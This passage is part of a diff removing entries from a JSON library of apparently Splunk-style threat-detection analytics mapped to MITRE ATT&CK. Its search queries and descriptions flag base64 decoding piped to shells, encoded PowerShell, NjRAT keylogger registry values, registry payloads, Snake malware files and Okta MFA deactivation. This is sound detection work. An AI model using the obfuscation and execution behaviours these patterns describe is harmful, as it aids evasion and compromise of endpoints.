"DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "csc.exe with commandline $process$ to compile .net code on $dest$ by $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027.004", - "mitre_attack_technique": "Compile After Delivery", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Gamaredon Group", - "MuddyWater", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - } - ] - } - }, - { - "name": "Linux Decode Base64 to Shell", - "description": "The following analytic detects the decoding of base64-encoded data and its execution in a Linux shell. It leverages the Endpoint.Processes data model to search for commands like \"base64 -d\" and \"base64 --decode\" combined with Linux shell execution. This activity is significant because base64 encoding is often used to obfuscate malicious commands or payloads, indicating potential malicious activity. If confirmed malicious, this behavior could allow an attacker to execute unauthorized commands, gain unauthorized access, exfiltrate data, or perform other harmful actions on the Linux system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*base64 -d*\",\"*base64 --decode*\") AND Processes.process=\"*|*\" `linux_shells` by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_decode_base64_to_shell_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ decoding base64 and passing it to a shell.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059.004", - "mitre_attack_technique": "Unix Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT41", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Linux Obfuscated Files or Information Base64 Decode", - "description": "The following analytic detects the use of the base64 decode command on Linux systems, which is often used to deobfuscate files. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include \"base64 -d\" or \"base64 --decode\". This activity is significant as it may indicate an attempt to hide malicious payloads or scripts. If confirmed malicious, an attacker could use this technique to execute hidden code, potentially leading to unauthorized access, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*base64 -d*\",\"*base64 --decode*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_obfuscated_files_or_information_base64_decode_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ decoding base64.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - } - ] - } - }, - { - "name": "Malicious PowerShell Process - Encoded Command", - "description": "The following analytic detects the use of the EncodedCommand parameter in PowerShell processes. It leverages Endpoint Detection and Response (EDR) data to identify variations of the EncodedCommand parameter, including shortened forms and different command switch types. This activity is significant because adversaries often use encoded commands to obfuscate malicious scripts, making detection harder. If confirmed malicious, this behavior could allow attackers to execute hidden code, potentially leading to unauthorized access, privilege escalation, or persistent threats within the environment. Review parallel events to determine legitimacy and tune based on known administrative scripts.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` by Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.original_file_name Processes.dest Processes.process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where match(process,\"(?i)[\\-|\\/|\u2013 |\u2014|\u2015]e(nc*o*d*e*d*c*o*m*m*a*n*d*)*\\s+[^-]\") | `malicious_powershell_process___encoded_command_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "DarkCrystal RAT", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "NOBELIUM Group", - "Qakbot", - "Sandworm Tools", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell.exe running potentially malicious encodede commands on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - } - ] - } - }, - { - "name": "Powershell Creating Thread Mutex", - "description": "The following analytic detects the execution of PowerShell scripts using the `mutex` function via EventCode 4104. This detection leverages PowerShell Script Block Logging to identify scripts that create thread mutexes, a technique often used in obfuscated scripts to ensure only one instance runs on a compromised machine. This activity is significant as it may indicate the presence of sophisticated malware or persistence mechanisms. If confirmed malicious, the attacker could maintain exclusive control over a process, potentially leading to further exploitation or persistence within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Threading.Mutex*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_creating_thread_mutex_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains Thread Mutex on host $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1027.005", - "mitre_attack_technique": "Indicator Removal from Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT3", - "Deep Panda", - "GALLIUM", - "OilRig", - "Patchwork", - "Turla" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Enable SMB1Protocol Feature", - "description": "The following analytic detects the enabling of the SMB1 protocol via `powershell.exe`. It leverages PowerShell script block logging (EventCode 4104) to identify the execution of the `Enable-WindowsOptionalFeature` cmdlet with the `SMB1Protocol` parameter. This activity is significant because enabling SMB1 can facilitate lateral movement and file encryption by ransomware, such as RedDot. If confirmed malicious, this action could allow an attacker to propagate through the network, encrypt files, and potentially disrupt business operations.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Enable-WindowsOptionalFeature*\" ScriptBlockText = \"*SMB1Protocol*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_enable_smb1protocol_feature_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell Enable SMB1Protocol Feature on $Computer$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1027.005", - "mitre_attack_technique": "Indicator Removal from Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT3", - "Deep Panda", - "GALLIUM", - "OilRig", - "Patchwork", - "Turla" - ] - } - ] - } - }, - { - "name": "Powershell Fileless Script Contains Base64 Encoded Content", - "description": "The following analytic detects the execution of PowerShell scripts containing Base64 encoded content, specifically identifying the use of `FromBase64String`. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command sent to PowerShell. This activity is significant as Base64 encoding is often used by attackers to obfuscate malicious payloads, making it harder to detect. If confirmed malicious, this could lead to code execution, allowing attackers to run arbitrary commands and potentially compromise the system.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*frombase64string*\" OR ScriptBlockText = \"*gnirtS46esaBmorF*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_fileless_script_contains_base64_encoded_content_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "IcedID", - "Malicious PowerShell", - "NjRAT", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains base64 command on host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Wermgr Process Create Executable File", - "description": "The following analytic detects the wermgr.exe process creating an executable file. It leverages Sysmon EventCode 11 to identify instances where wermgr.exe generates a .exe file. This behavior is unusual because wermgr.exe is typically associated with error reporting, not file creation. Such activity is significant as it may indicate TrickBot malware, which injects code into wermgr.exe to execute malicious actions like downloading additional payloads. If confirmed malicious, this could lead to further malware infections, data exfiltration, or system compromise.", - "search": "`sysmon` EventCode=11 process_name = \"wermgr.exe\" TargetFilename = \"*.exe\" | stats min(_time) as firstTime max(_time) as lastTime count by Image TargetFilename process_name dest EventCode ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wermgr_process_create_executable_file_filter`", - "tags": { - "analytic_story": [ - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Wermgr.exe writing executable files on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - } - ] - } - }, - { - "name": "Windows Njrat Fileless Storage via Registry", - "description": "The following analytic detects suspicious registry modifications indicative of NjRat's fileless storage technique. It leverages the Endpoint.Registry data model to identify specific registry paths and values commonly used by NjRat for keylogging and executing DLL plugins. This activity is significant as it helps evade traditional file-based detection systems, making it crucial for SOC analysts to monitor. If confirmed malicious, this behavior could allow attackers to persist on the host, execute arbitrary code, and capture sensitive keystrokes, leading to potential data breaches and further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\[kl]\" OR Registry.registry_value_data IN (\"*[ENTER]*\", \"*[TAP]*\", \"*[Back]*\") by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name Registry.registry_value_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_njrat_fileless_storage_via_registry_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a suspicious registry entry related to NjRAT keylloging registry in $dest$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027.011", - "mitre_attack_technique": "Fileless Storage", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "Turla" - ] - }, - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - } - ] - } - }, - { - "name": "Windows Registry Payload Injection", - "description": "The following analytic detects suspiciously long data written to the Windows registry, a behavior often linked to fileless malware or persistence techniques. It leverages Endpoint Detection and Response (EDR) telemetry, focusing on registry events with data lengths exceeding 512 characters. This activity is significant as it can indicate an attempt to evade traditional file-based defenses, making it crucial for SOC monitoring. If confirmed malicious, this technique could allow attackers to maintain persistence, execute code, or manipulate system configurations without leaving a conventional file footprint.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid| `drop_dm_object_name(Processes)` | join max=0 dest process_guid [| tstats `security_content_summariesonly` count from datamodel=Endpoint.Registry where Registry.registry_value_data=* by _time span=1h Registry.dest Registry.registry_path Registry.registry_value_name Registry.process_guid Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | eval reg_data_len = len(registry_value_data) | where reg_data_len > 512] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data)| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_registry_payload_injection_filter`", - "tags": { - "analytic_story": [ - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "The process $process_name$ added a suspicious length of registry data on $dest$.", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1027.011", - "mitre_attack_technique": "Fileless Storage", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Snake Malware File Modification Crmlog", - "description": "The following analytic identifies the creation of a .crmlog file within the %windows%\\Registration directory, typically with a format of ..crmlog. This detection leverages the Endpoint.Filesystem datamodel to monitor file creation events in the specified directory. This activity is significant as it is associated with the Snake malware, which uses this file for its operations. If confirmed malicious, this could indicate the presence of Snake malware, leading to potential data exfiltration, system compromise, and further malicious activities. Immediate investigation is required to mitigate the threat.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path=\"*\\\\windows\\\\registration\\\\*\" AND Filesystem.file_name=\"*.crmlog\" by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_snake_malware_file_modification_crmlog_filter`", - "tags": { - "analytic_story": [ - "Snake Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file related to Snake Malware has been identified on $dest$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -569762,900 +377754,7 @@ "commands": [], "queries": [], "parsed_datasets": [], - "possible_detections": [ - { - "name": "Okta Multi-Factor Authentication Disabled", - "description": "The following analytic identifies an attempt to disable multi-factor authentication (MFA) for an Okta user. It leverages OktaIM2 logs to detect when the 'user.mfa.factor.deactivate' command is executed. This activity is significant because disabling MFA can allow an adversary to maintain persistence within the environment using a compromised valid account. If confirmed malicious, this action could enable attackers to bypass additional security layers, potentially leading to unauthorized access to sensitive information and prolonged undetected presence in the network.", - "search": " | tstats `security_content_summariesonly` count max(_time) as lastTime, min(_time) as firstTime from datamodel=Change where sourcetype=\"OktaIM2:log\" All_Changes.object_category=User AND All_Changes.action=modified All_Changes.command=user.mfa.factor.deactivate by All_Changes.user All_Changes.result All_Changes.command sourcetype All_Changes.src | `drop_dm_object_name(\"All_Changes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "MFA was disabled for User [$user$] initiated by [$src$]. Investigate further to determine if this was authorized.", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "PingID Mismatch Auth Source and Verification Response", - "description": "The following analytic identifies discrepancies between the IP address of an authentication event and the IP address of the verification response event, focusing on differences in the originating countries. It leverages JSON logs from PingID, comparing the 'auth_Country' and 'verify_Country' fields. This activity is significant as it may indicate suspicious sign-in behavior, such as account compromise or unauthorized access attempts. If confirmed malicious, this could allow attackers to bypass authentication mechanisms, potentially leading to unauthorized access to sensitive systems and data.", - "search": "`pingid` (\"result.status\" IN (\"SUCCESS*\",\"FAIL*\",\"UNSUCCESSFUL*\") NOT \"result.message\" IN (\"*pair*\",\"*create*\",\"*delete*\")) | eval user = upper('actors{}.name'), session_id = 'resources{}.websession', dest = 'resources{}.ipaddress', reason = 'result.message', object = 'resources{}.devicemodel', status = 'result.status' | join user session_id [ search `pingid` (\"result.status\" IN (\"POLICY\") AND \"resources{}.ipaddress\"=*) AND \"result.message\" IN(\"*Action: Authenticate*\",\"*Action: Approve*\",\"*Action: Allowed*\") | rex field=result.message \"IP Address: (?:N\\/A)?(?.+)?\\n\" | rex field=result.message \"Action: (?:N\\/A)?(?.+)?\\n\" | rex field=result.message \"Requested Application Name: (?:N\\/A)?(?.+)?\\n\" | rex field=result.message \"Requested Application ID: (?:N\\/A)?(?.+)?\\n\" | eval user = upper('actors{}.name'), session_id = 'resources{}.websession', src = coalesce('resources{}.ipaddress',policy_ipaddress), app = coalesce(Requested_Application_ID,Requested_Application_Name) | fields app, user, session_id, src, signature ] | iplocation prefix=auth_ dest | iplocation prefix=verify_ src | stats count min(_time) as firstTime max(_time) as lastTime values(app) as app values(session_id) as session_id by user, dest, auth_Country, src, verify_Country, object, signature, status, reason | where auth_Country != verify_Country | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `pingid_mismatch_auth_source_and_verification_response_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "object", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "An authentication by [$user$] was detected from [$dest$ - $auth_Country$] and the verification was received from [$src$ - $verify_Country$].", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - 